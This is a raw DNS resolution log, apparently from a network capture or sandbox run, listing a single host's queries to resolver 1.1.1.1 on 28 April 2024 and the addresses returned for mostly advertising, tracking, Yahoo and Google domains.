Apr 28, 2024 00:42:49.797734976 CEST	1.1.1.1	192.168.2.4	0x9269	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.229.158.192	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.797734976 CEST	1.1.1.1	192.168.2.4	0x9269	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.222.64.51	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.797734976 CEST	1.1.1.1	192.168.2.4	0x9269	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.213.50.86	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.797734976 CEST	1.1.1.1	192.168.2.4	0x9269	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		54.85.41.141	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.797734976 CEST	1.1.1.1	192.168.2.4	0x9269	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		174.129.112.91	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.797734976 CEST	1.1.1.1	192.168.2.4	0x9269	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		34.234.151.101	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.797734976 CEST	1.1.1.1	192.168.2.4	0x9269	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		44.214.122.172	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.829463005 CEST	1.1.1.1	192.168.2.4	0x42a1	No error (0)	rtb.gumgum.com		18.214.106.96	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.829463005 CEST	1.1.1.1	192.168.2.4	0x42a1	No error (0)	rtb.gumgum.com		34.236.124.74	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.829463005 CEST	1.1.1.1	192.168.2.4	0x42a1	No error (0)	rtb.gumgum.com		34.204.248.32	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.829463005 CEST	1.1.1.1	192.168.2.4	0x42a1	No error (0)	rtb.gumgum.com		34.235.71.171	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.829463005 CEST	1.1.1.1	192.168.2.4	0x42a1	No error (0)	rtb.gumgum.com		18.214.155.136	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.829463005 CEST	1.1.1.1	192.168.2.4	0x42a1	No error (0)	rtb.gumgum.com		52.3.212.99	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.829463005 CEST	1.1.1.1	192.168.2.4	0x42a1	No error (0)	rtb.gumgum.com		52.45.78.243	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:49.829463005 CEST	1.1.1.1	192.168.2.4	0x42a1	No error (0)	rtb.gumgum.com		34.228.90.123	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.217192888 CEST	1.1.1.1	192.168.2.4	0xcf8e	No error (0)	thrtle.com		18.211.82.251	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.217192888 CEST	1.1.1.1	192.168.2.4	0xcf8e	No error (0)	thrtle.com		34.236.2.13	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.217192888 CEST	1.1.1.1	192.168.2.4	0xcf8e	No error (0)	thrtle.com		34.225.69.173	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.217192888 CEST	1.1.1.1	192.168.2.4	0xcf8e	No error (0)	thrtle.com		52.22.203.92	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.217192888 CEST	1.1.1.1	192.168.2.4	0xcf8e	No error (0)	thrtle.com		18.205.199.174	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.217192888 CEST	1.1.1.1	192.168.2.4	0xcf8e	No error (0)	thrtle.com		34.207.25.255	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.265800953 CEST	1.1.1.1	192.168.2.4	0x84fd	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:50.265800953 CEST	1.1.1.1	192.168.2.4	0x84fd	No error (0)	sync.1rx.io		69.194.240.13	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.266473055 CEST	1.1.1.1	192.168.2.4	0x6e7c	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:50.294179916 CEST	1.1.1.1	192.168.2.4	0x531c	No error (0)	pmp.mxptint.net		38.68.201.140	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.358035088 CEST	1.1.1.1	192.168.2.4	0xbd3d	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.111	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.358035088 CEST	1.1.1.1	192.168.2.4	0xbd3d	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.47	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.358035088 CEST	1.1.1.1	192.168.2.4	0xbd3d	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.105	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.358035088 CEST	1.1.1.1	192.168.2.4	0xbd3d	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.49	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.358047962 CEST	1.1.1.1	192.168.2.4	0x3356	No error (0)	bcp.crwdcntrl.net		34.200.191.194	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.358047962 CEST	1.1.1.1	192.168.2.4	0x3356	No error (0)	bcp.crwdcntrl.net		44.205.210.132	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.358047962 CEST	1.1.1.1	192.168.2.4	0x3356	No error (0)	bcp.crwdcntrl.net		3.234.91.248	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.358047962 CEST	1.1.1.1	192.168.2.4	0x3356	No error (0)	bcp.crwdcntrl.net		44.206.188.238	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.358047962 CEST	1.1.1.1	192.168.2.4	0x3356	No error (0)	bcp.crwdcntrl.net		34.196.226.77	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.358047962 CEST	1.1.1.1	192.168.2.4	0x3356	No error (0)	bcp.crwdcntrl.net		52.44.103.61	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.358047962 CEST	1.1.1.1	192.168.2.4	0x3356	No error (0)	bcp.crwdcntrl.net		54.159.210.141	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.358047962 CEST	1.1.1.1	192.168.2.4	0x3356	No error (0)	bcp.crwdcntrl.net		35.171.148.203	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.392456055 CEST	1.1.1.1	192.168.2.4	0x4dde	No error (0)	aa.agkn.com	d20qwf0wrdtevy.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:50.392456055 CEST	1.1.1.1	192.168.2.4	0x4dde	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.110	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.392456055 CEST	1.1.1.1	192.168.2.4	0x4dde	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.118	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.392456055 CEST	1.1.1.1	192.168.2.4	0x4dde	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.128	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.392456055 CEST	1.1.1.1	192.168.2.4	0x4dde	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.83	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.392600060 CEST	1.1.1.1	192.168.2.4	0x93bb	No error (0)	aa.agkn.com	d20qwf0wrdtevy.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:50.399183035 CEST	1.1.1.1	192.168.2.4	0xfce9	No error (0)	idsync.rlcdn.com		35.244.154.8	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.404750109 CEST	1.1.1.1	192.168.2.4	0x2f5e	No error (0)	sync.crwdcntrl.net		52.44.103.61	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.404750109 CEST	1.1.1.1	192.168.2.4	0x2f5e	No error (0)	sync.crwdcntrl.net		54.87.122.38	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.404750109 CEST	1.1.1.1	192.168.2.4	0x2f5e	No error (0)	sync.crwdcntrl.net		34.200.191.194	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.404750109 CEST	1.1.1.1	192.168.2.4	0x2f5e	No error (0)	sync.crwdcntrl.net		54.159.210.141	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.404750109 CEST	1.1.1.1	192.168.2.4	0x2f5e	No error (0)	sync.crwdcntrl.net		44.205.210.132	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.404750109 CEST	1.1.1.1	192.168.2.4	0x2f5e	No error (0)	sync.crwdcntrl.net		44.196.251.236	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.404750109 CEST	1.1.1.1	192.168.2.4	0x2f5e	No error (0)	sync.crwdcntrl.net		35.171.148.203	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.404750109 CEST	1.1.1.1	192.168.2.4	0x2f5e	No error (0)	sync.crwdcntrl.net		44.206.188.238	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.406805038 CEST	1.1.1.1	192.168.2.4	0xc386	No error (0)	bpi.rtactivate.com	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:50.406805038 CEST	1.1.1.1	192.168.2.4	0xc386	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		3.85.67.14	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.406805038 CEST	1.1.1.1	192.168.2.4	0xc386	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		34.230.229.237	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.406805038 CEST	1.1.1.1	192.168.2.4	0xc386	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		54.242.78.179	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.406805038 CEST	1.1.1.1	192.168.2.4	0xc386	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		3.230.229.56	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.407589912 CEST	1.1.1.1	192.168.2.4	0xb7a4	No error (0)	bpi.rtactivate.com	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:50.718019009 CEST	1.1.1.1	192.168.2.4	0xb14f	No error (0)	mwzeom.zeotap.com		104.22.51.98	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.718019009 CEST	1.1.1.1	192.168.2.4	0xb14f	No error (0)	mwzeom.zeotap.com		172.67.40.173	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.718019009 CEST	1.1.1.1	192.168.2.4	0xb14f	No error (0)	mwzeom.zeotap.com		104.22.50.98	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:50.719600916 CEST	1.1.1.1	192.168.2.4	0x5ba2	No error (0)	mwzeom.zeotap.com			65	IN (0x0001)	false
Apr 28, 2024 00:42:51.024279118 CEST	1.1.1.1	192.168.2.4	0xf32e	No error (0)	help.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:51.024279118 CEST	1.1.1.1	192.168.2.4	0xf32e	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:51.024279118 CEST	1.1.1.1	192.168.2.4	0xf32e	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:51.027139902 CEST	1.1.1.1	192.168.2.4	0xc6fe	No error (0)	help.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:51.220629930 CEST	1.1.1.1	192.168.2.4	0x5710	No error (0)	geo.yahoo.com	geo-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:51.220629930 CEST	1.1.1.1	192.168.2.4	0x5710	No error (0)	geo-atsv2.media.g03.yahoodns.net		66.218.87.15	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:51.220722914 CEST	1.1.1.1	192.168.2.4	0xbd28	No error (0)	geo.yahoo.com	geo-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:52.483716011 CEST	1.1.1.1	192.168.2.4	0x8e21	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:52.483716011 CEST	1.1.1.1	192.168.2.4	0x8e21	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:52.483716011 CEST	1.1.1.1	192.168.2.4	0x8e21	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:52.485097885 CEST	1.1.1.1	192.168.2.4	0x6ffe	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:52.908482075 CEST	1.1.1.1	192.168.2.4	0x902f	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 28, 2024 00:42:52.908586025 CEST	1.1.1.1	192.168.2.4	0x3dc1	No error (0)	www.google.com		142.251.111.105	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:52.908586025 CEST	1.1.1.1	192.168.2.4	0x3dc1	No error (0)	www.google.com		142.251.111.106	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:52.908586025 CEST	1.1.1.1	192.168.2.4	0x3dc1	No error (0)	www.google.com		142.251.111.103	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:52.908586025 CEST	1.1.1.1	192.168.2.4	0x3dc1	No error (0)	www.google.com		142.251.111.147	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:52.908586025 CEST	1.1.1.1	192.168.2.4	0x3dc1	No error (0)	www.google.com		142.251.111.104	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:52.908586025 CEST	1.1.1.1	192.168.2.4	0x3dc1	No error (0)	www.google.com		142.251.111.99	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.490407944 CEST	1.1.1.1	192.168.2.4	0x2dfe	No error (0)	onetag-sys.com		51.222.39.187	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.490407944 CEST	1.1.1.1	192.168.2.4	0x2dfe	No error (0)	onetag-sys.com		51.222.39.184	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.490407944 CEST	1.1.1.1	192.168.2.4	0x2dfe	No error (0)	onetag-sys.com		51.222.39.186	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.490407944 CEST	1.1.1.1	192.168.2.4	0x2dfe	No error (0)	onetag-sys.com		51.222.239.230	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.490407944 CEST	1.1.1.1	192.168.2.4	0x2dfe	No error (0)	onetag-sys.com		51.222.39.185	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.492348909 CEST	1.1.1.1	192.168.2.4	0x646e	No error (0)	ssc-cms.33across.com	pixel.33across.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:53.492348909 CEST	1.1.1.1	192.168.2.4	0x646e	No error (0)	pixel.33across.com		67.202.105.22	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.492348909 CEST	1.1.1.1	192.168.2.4	0x646e	No error (0)	pixel.33across.com		67.202.105.21	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.494318962 CEST	1.1.1.1	192.168.2.4	0x7e5b	No error (0)	ssc-cms.33across.com	pixel.33across.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:53.877298117 CEST	1.1.1.1	192.168.2.4	0x96c1	No error (0)	dbrd449anfbv4.cloudfront.net		99.84.109.83	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.877298117 CEST	1.1.1.1	192.168.2.4	0x96c1	No error (0)	dbrd449anfbv4.cloudfront.net		99.84.109.179	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.877298117 CEST	1.1.1.1	192.168.2.4	0x96c1	No error (0)	dbrd449anfbv4.cloudfront.net		99.84.109.105	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:53.877298117 CEST	1.1.1.1	192.168.2.4	0x96c1	No error (0)	dbrd449anfbv4.cloudfront.net		99.84.109.90	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.081223965 CEST	1.1.1.1	192.168.2.4	0xee48	No error (0)	de.tynt.com		67.202.105.33	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.081223965 CEST	1.1.1.1	192.168.2.4	0xee48	No error (0)	de.tynt.com		67.202.105.31	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.096939087 CEST	1.1.1.1	192.168.2.4	0x16cb	No error (0)	dispatcher.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:54.096939087 CEST	1.1.1.1	192.168.2.4	0x16cb	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.096939087 CEST	1.1.1.1	192.168.2.4	0x16cb	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.169909954 CEST	1.1.1.1	192.168.2.4	0xa934	No error (0)	dispatcher.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:54.174333096 CEST	1.1.1.1	192.168.2.4	0x9d1	No error (0)	ads.stickyadstv.com	ip1.ads.stickyadstv.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:54.174709082 CEST	1.1.1.1	192.168.2.4	0x4110	No error (0)	ads.stickyadstv.com	ip1.ads.stickyadstv.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:54.180474043 CEST	1.1.1.1	192.168.2.4	0x2bc3	No error (0)	cs.admanmedia.com		80.77.87.166	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-global.smartadserver.com	usersync-geo-global.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.159	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.158	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.52	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		23.105.14.100	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.69	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.170	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.143	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.53	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.117	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.142	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.171	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.68	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.116	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.5	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.37	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.4	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.36	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.187805891 CEST	1.1.1.1	192.168.2.4	0x9e24	No error (0)	ssbsync-use1.smartadserver.com		23.105.14.101	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.188136101 CEST	1.1.1.1	192.168.2.4	0x85e2	No error (0)	ssbsync-global.smartadserver.com	usersync-geo-global.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:54.544430971 CEST	1.1.1.1	192.168.2.4	0x7a3e	No error (0)	a.audrte.com		52.215.143.51	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.544430971 CEST	1.1.1.1	192.168.2.4	0x7a3e	No error (0)	a.audrte.com		52.17.231.33	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.544430971 CEST	1.1.1.1	192.168.2.4	0x7a3e	No error (0)	a.audrte.com		18.202.144.73	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.544430971 CEST	1.1.1.1	192.168.2.4	0x7a3e	No error (0)	a.audrte.com		63.33.13.151	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.544430971 CEST	1.1.1.1	192.168.2.4	0x7a3e	No error (0)	a.audrte.com		54.229.19.9	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.544430971 CEST	1.1.1.1	192.168.2.4	0x7a3e	No error (0)	a.audrte.com		52.215.59.81	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.546854019 CEST	1.1.1.1	192.168.2.4	0x68d6	No error (0)	mwzeom.zeotap.com			65	IN (0x0001)	false
Apr 28, 2024 00:42:54.546869040 CEST	1.1.1.1	192.168.2.4	0x86b2	No error (0)	mwzeom.zeotap.com		104.22.50.98	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.546869040 CEST	1.1.1.1	192.168.2.4	0x86b2	No error (0)	mwzeom.zeotap.com		104.22.51.98	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.546869040 CEST	1.1.1.1	192.168.2.4	0x86b2	No error (0)	mwzeom.zeotap.com		172.67.40.173	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.641439915 CEST	1.1.1.1	192.168.2.4	0x3382	No error (0)	hde.tynt.com		67.202.105.34	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.641439915 CEST	1.1.1.1	192.168.2.4	0x3382	No error (0)	hde.tynt.com		67.202.105.31	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.766643047 CEST	1.1.1.1	192.168.2.4	0x381b	No error (0)	image8.pubmatic.com	image8-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:54.766643047 CEST	1.1.1.1	192.168.2.4	0x381b	No error (0)	image8-v2.pubmnet.com	imagesync-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:54.766643047 CEST	1.1.1.1	192.168.2.4	0x381b	No error (0)	imagesync-vac.pubmnet.com		8.28.7.82	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.767074108 CEST	1.1.1.1	192.168.2.4	0xf8de	No error (0)	image8.pubmatic.com	image8-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:54.767074108 CEST	1.1.1.1	192.168.2.4	0xf8de	No error (0)	image8-v2.pubmnet.com	imgsync-nje.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:54.955589056 CEST	1.1.1.1	192.168.2.4	0x21af	No error (0)	googleads.g.doubleclick.net		172.253.122.156	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.955589056 CEST	1.1.1.1	192.168.2.4	0x21af	No error (0)	googleads.g.doubleclick.net		172.253.122.155	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.956887007 CEST	1.1.1.1	192.168.2.4	0x5941	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Apr 28, 2024 00:42:54.968636036 CEST	1.1.1.1	192.168.2.4	0x1b34	No error (0)	gum.criteo.com	gum.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:54.968636036 CEST	1.1.1.1	192.168.2.4	0x1b34	No error (0)	gum.us5.vip.prod.criteo.com		74.119.117.17	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.968907118 CEST	1.1.1.1	192.168.2.4	0x1106	No error (0)	gum.criteo.com	gum.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:54.983036995 CEST	1.1.1.1	192.168.2.4	0x9519	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:54.983036995 CEST	1.1.1.1	192.168.2.4	0x9519	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.983036995 CEST	1.1.1.1	192.168.2.4	0x9519	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:54.983383894 CEST	1.1.1.1	192.168.2.4	0x130b	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:55.091985941 CEST	1.1.1.1	192.168.2.4	0xf5ed	No error (0)	prebid-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:55.092648029 CEST	1.1.1.1	192.168.2.4	0xad53	No error (0)	prebid-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:55.864378929 CEST	1.1.1.1	192.168.2.4	0x15a5	No error (0)	ad.doubleclick.net		172.253.63.148	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:55.864378929 CEST	1.1.1.1	192.168.2.4	0x15a5	No error (0)	ad.doubleclick.net		172.253.63.149	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:55.864692926 CEST	1.1.1.1	192.168.2.4	0x8a1	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Apr 28, 2024 00:42:57.214782953 CEST	1.1.1.1	192.168.2.4	0x1a74	Name error (3)	ads.avct.cloud	none	none	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.437704086 CEST	1.1.1.1	192.168.2.4	0x863b	No error (0)	events-ssc.33across.com		34.117.239.71	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.517602921 CEST	1.1.1.1	192.168.2.4	0xe444	No error (0)	s.aolcdn.com	cs629.wpc.lambdacdn.net		CNAME (Canonical name)	IN (0x0001)	false
